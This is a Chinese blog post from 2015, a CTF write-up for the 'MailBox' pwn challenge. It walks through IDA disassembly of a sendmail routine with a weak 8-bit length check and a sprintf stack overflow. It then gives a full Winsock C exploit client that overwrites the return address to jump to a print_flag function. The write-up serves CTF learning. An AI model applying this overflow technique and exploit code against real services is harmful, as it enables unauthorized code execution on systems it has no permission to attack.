




# MailBox writeup (step1)

原创

[zh\\_explorer](#)  于 2015-04-22 19:13:27 发布  914  收藏

分类专栏: [hduisa内部平台writeup](#) 文章标签: [pwn writeup ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/zh\\_explorer/article/details/45199277](https://blog.csdn.net/zh_explorer/article/details/45199277)

版权



[hduisa内部平台writeup](#) 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

又是一道pwn。这题貌似是蓝莲花的题目=,=

先用连接上去看看, 好像是个发送邮件的程序, 有很多的字符串的输入, 但是好像都是限制了长度了。长度限制一到就毫不留情的结束输入。

看不出什么, 直接丢ida。

主要的代码都在main函数里面。相当坑爹的流程, 慢慢理清楚吧。

溢出点是在sendmail函数里面。

```

.text:08049362 mov     dword ptr [esp], offset aTitle ; "Title:"
.text:08049369 call    _printf
.text:0804936E mov     dword ptr [esp+4], 0FFh ; a2
.text:08049376 mov     eax, [ebp+title]
.text:08049379 mov     [esp], eax ; a1
.text:0804937C call    get_input
.text:08049381 mov     dword ptr [esp], offset aTitle ; "Title:"
.text:08049388 call    _printf
.text:0804938D mov     eax, [ebp+title]
.text:08049390 mov     [esp], eax ; format
.text:08049393 call    _printf
.text:08049398 mov     dword ptr [esp], 0Ah ; c
.text:0804939F call    _putchar
.text:080493A4 mov     dword ptr [esp], offset aBody ; "Body:"
.text:080493AB call    _printf
.text:080493B0 mov     dword ptr [esp+4], 0FFh ; a2
.text:080493B8 mov     eax, [ebp+body]
.text:080493BB mov     [esp], eax ; a1
.text:080493BE call    get_input
.text:080493C3 mov     [ebp+bodylength], 0
.text:080493C7 mov     [ebp+titlelength], 0
.text:080493CB mov     eax, [ebp+body]
.text:080493CE mov     [esp], eax ; s
.text:080493D1 call    _strlen ;这里返回输入的body的长度
.text:080493D6 mov     [ebp+bodylength], al
.text:080493D9 mov     eax, [ebp+title]
.text:080493DC mov     [esp], eax ; s
.text:080493DF call    _strlen ;这里是title的长度
.text:080493E4 mov     [ebp+titlelength], al
.text:080493E7 movzx   eax, [ebp+titlelength]
.text:080493EB movzx   edx, [ebp+bodylength]
.text:080493EF add     eax, edx
.text:080493F1 cmp     al, 78h ;两个长度相加和78比较, 过大则退出。
.text:080493F3 jle     short loc_804940E

```

虽然有限制，但是不感觉al太小了吗？稍微构造一下body和title的长度。这个限制几乎没用。这里有一段

```

.text:0804942A mov     dword ptr [esp+4], offset aInsertIntoInbo ; "insert into inbox "
.text:08049432 lea     eax, [ebp+bigsql]
.text:08049438 mov     [esp], eax ; s
.text:0804943B call    _sprintf

```

栈长度不够，可以构造溢出。然后程序中有打印flag的函数。

```

.text:08048BBD public print_flag

```

返回到这里就可以了。

然后因为输入中有用户名等等的，所以构造的参数有所不同。

主要是

'a'\*220 + 0x08048BBD(函数地址)

至于怎么凑出220个字符就随意了。

给段代码。代码略长，会写的跳过吧。

```

#include<winsock2.h>
#include<stdio.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")
int main (void)
{
    int i;
    WSADATA wsaData;
    SOCKET sockClient;
    SOCKADDR_IN addrServer;
    char recvBuf[5000]={0};
    char message[5000]={0};
    WSStartup(MAKEWORD(2,2),&wsaData);
    sockClient=socket(AF_INET,SOCK_STREAM,0);

    addrServer.sin_addr.S_un.S_addr=inet_addr("***hide***");
    addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7775);
    connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //Login
    message[0]='2';
    message[1]='a';
    send(sockClient,message,2,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //name
    for(i=1;i<10;i++)
        message[i-1]=i+48;
    message[9]='0';
    message[10]='1';
    //message[11]=0x0a;
    send(sockClient,message,11,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //pass
    message[0]='1';
    message[1]='2';
    message[2]='3';

```

```

message[2]='3';
message[3]='4';
message[4]='5';
//message[5]='\n';
send(sockClient,message,5,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//send mail
message[0]='3';
message[1]='a';
send(sockClient,message,2,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//to
for(i=1;i<30;i++)
{
    message[i-1]='a';
}
send(sockClient,message,29,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//title
for(i=1;i<250;i++)
{
    message[i-1]='a';
}
message[119]=0xbd; //这里是返回值
message[120]=0x8b;
message[121]=0x04;
message[122]=0x08;
message[249]=0x0a;
send(sockClient,message,250,0);

Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//body
for(i=1;i<55;i++)
{
    //凑点字符满足长度
    message[i-1]='a';
}

```

```
}  
message[54]=0x0a;  
send(sockClient,message,55,0);  
Sleep(1000);  
  
recv(sockClient,recvBuf,1000,0);  
printf("%s",recvBuf);  
printf("\n*****\n");  
for(i=0;i<1000;recvBuf[i]=0,i++);  
  
closesocket(sockClient);  
WSACleanup();  
return 0;  
}
```

啥，你说python，python是什么，能吃吗？

这题还有个step，分两部分吧。